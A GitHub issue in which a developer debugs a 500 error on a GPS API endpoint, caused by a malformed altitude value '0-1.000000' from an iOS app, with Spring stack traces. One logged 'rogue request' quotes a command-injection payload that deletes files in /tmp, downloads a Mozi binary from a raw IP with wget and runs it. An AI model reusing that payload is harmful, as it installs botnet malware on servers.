Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Field testing: Fix 500 Record get on /nbi around "0-1.000000" for altitude al=0-1.000000 in GET "/nbi/api/getGps?&u=202408056&de=iph10&pr=17.500000&hr=72&hr1=72&hr2=73&lg=-75.690775&lt=45.426007&al=0-1.000000&ac=10.915747&be=50&s=-1.000000&grx=0.000000&gry=0.000000&grz=0.000000&arx=-0.815369&ary=0.472244&arz=0.333588&lax=-0.815369&lay=0.472244&laz=0.333588&rvx=-0.034876&rvy=-0.015859&rvz=-0.013542&ts=1722877524781&mfx=-36.499130&mfy=19.677803&mfz=40.559967&up=19287 #13

Open
obriensystems opened this issue Aug 7, 2024 · 2 comments
Assignees

Comments

@obriensystems
Copy link
Member

500 on 0-1.nnn
al=0-1.000000

2024-08-05 17:05:33.002 DEBUG 1 --- [nio-8080-exec-8] o.s.web.servlet.DispatcherServlet        : "ERROR" dispatch for GET "/nbi/error?&u=202408056&de=iph10&pr=17.500000&hr=72&hr1=72&hr2=73&lg=-75.690775&lt=45.426007&al=0-1.000000&ac=10.915747&be=50&s=-1.000000&grx=0.000000&gry=0.000000&grz=0.000000&arx=-0.810257&ary=0.485321&arz=0.352890&lax=-0.810257&lay=0.485321&laz=0.352890&rvx=-0.037878&rvy=0.000954&rvz=0.024467&ts=1722877524681&mfx=-36.499130&mfy=19.677803&mfz=40.559967&up=19286", parameters={masked}
2024-08-05 17:05:33.002 DEBUG 1 --- [nio-8080-exec-8] s.w.s.m.m.a.RequestMappingHandlerMapping : Mapped to org.springframework.boot.autoconfigure.web.servlet.error.BasicErrorController#error(HttpServletRequest)
2024-08-05 17:05:33.002 DEBUG 1 --- [nio-8080-exec-8] o.s.w.s.m.m.a.HttpEntityMethodProcessor  : Using 'application/json', given [*/*] and supported [application/json, application/*+json, application/json, application/*+json]
2024-08-05 17:05:33.002 DEBUG 1 --- [nio-8080-exec-8] o.s.w.s.m.m.a.HttpEntityMethodProcessor  : Writing [{timestamp=Mon Aug 05 17:05:33 UTC 2024, status=500, error=Internal Server Error, path=/nbi/api/getG (truncated)...]
2024-08-05 17:05:33.002 DEBUG 1 --- [nio-8080-exec-8] o.s.web.servlet.DispatcherServlet        : Exiting from "ERROR" dispatch, status 500
2024-08-05 17:05:33.095 DEBUG 1 --- [io-8080-exec-10] o.s.web.servlet.DispatcherServlet        : GET "/nbi/api/getGps?&u=202408056&de=iph10&pr=17.500000&hr=72&hr1=72&hr2=73&lg=-75.690775&lt=45.426007&al=0-1.000000&ac=10.915747&be=50&s=-1.000000&grx=0.000000&gry=0.000000&grz=0.000000&arx=-0.815369&ary=0.472244&arz=0.333588&lax=-0.815369&lay=0.472244&laz=0.333588&rvx=-0.034876&rvy=-0.015859&rvz=-0.013542&ts=1722877524781&mfx=-36.499130&mfy=19.677803&mfz=40.559967&up=19287", parameters={masked}
2024-08-05 17:05:33.095 DEBUG 1 --- [io-8080-exec-10] s.w.s.m.m.a.RequestMappingHandlerMapping : Mapped to dev.obrienlabs.biometric.nbi.controller.ApiController#getGps(String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, String, HttpServletRequest)
2024-08-05 17:05:33.096 DEBUG 1 --- [io-8080-exec-10] o.s.web.servlet.DispatcherServlet        : Failed to complete request: java.lang.NumberFormatException: For input string: "0-1.000000"
2024-08-05 17:05:33.096 ERROR 1 --- [io-8080-exec-10] o.a.c.c.C.[.[.[.[dispatcherServlet]      : Servlet.service() for servlet [dispatcherServlet] in context with path [/nbi] threw exception [Request processing failed; nested exception is java.lang.NumberFormatException: For input string: "0-1.000000"] with root cause

java.lang.NumberFormatException: For input string: "0-1.000000"
	at java.base/jdk.internal.math.FloatingDecimal.readJavaFormatString(FloatingDecimal.java:2054) ~[na:na]
	at java.base/jdk.internal.math.FloatingDecimal.parseDouble(FloatingDecimal.java:110) ~[na:na]
	at java.base/java.lang.Double.parseDouble(Double.java:651) ~[na:na]
	at java.base/java.lang.Double.<init>(Double.java:733) ~[na:na]
	at dev.obrienlabs.biometric.nbi.controller.ApiController.processGpsPrivate(ApiController.java:194) ~[classes!/:0.0.1-SNAPSHOT]
	at dev.obrienlabs.biometric.nbi.controller.ApiController.getGps(ApiController.java:348) ~[classes!/:0.0.1-SNAPSHOT]

Also verify a rogue request

2024-08-06 04:07:02.555  INFO 1 --- [nio-8080-exec-3] o.apache.coyote.http11.Http11Processor   : Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

java.lang.IllegalArgumentException: Invalid character found in the request target [/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://125.40.152.254:58054/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js ]. The valid characters are defined in RFC 7230 and RFC 3986
	at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:490) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:263) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:926) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) ~[tomcat-embed-core-9.0.75.jar!/:na]
	at java.base/java.lang.Thread.run(Thread.java:833) ~[na:na]

@obriensystems obriensystems self-assigned this Aug 7, 2024
@obriensystems
Copy link
Member Author

Issue is prepended 0 in my ios app. For most use cases it has no effect

  • 240.45
  • 0240.45

However on occasion the altitude is negative - we then get

  • 0-1.056

fix
https://github.com/obrienlabs/biometric-ios/blob/master/Biometric/BMViewController.m#L835

@obriensystems
Copy link
Member Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant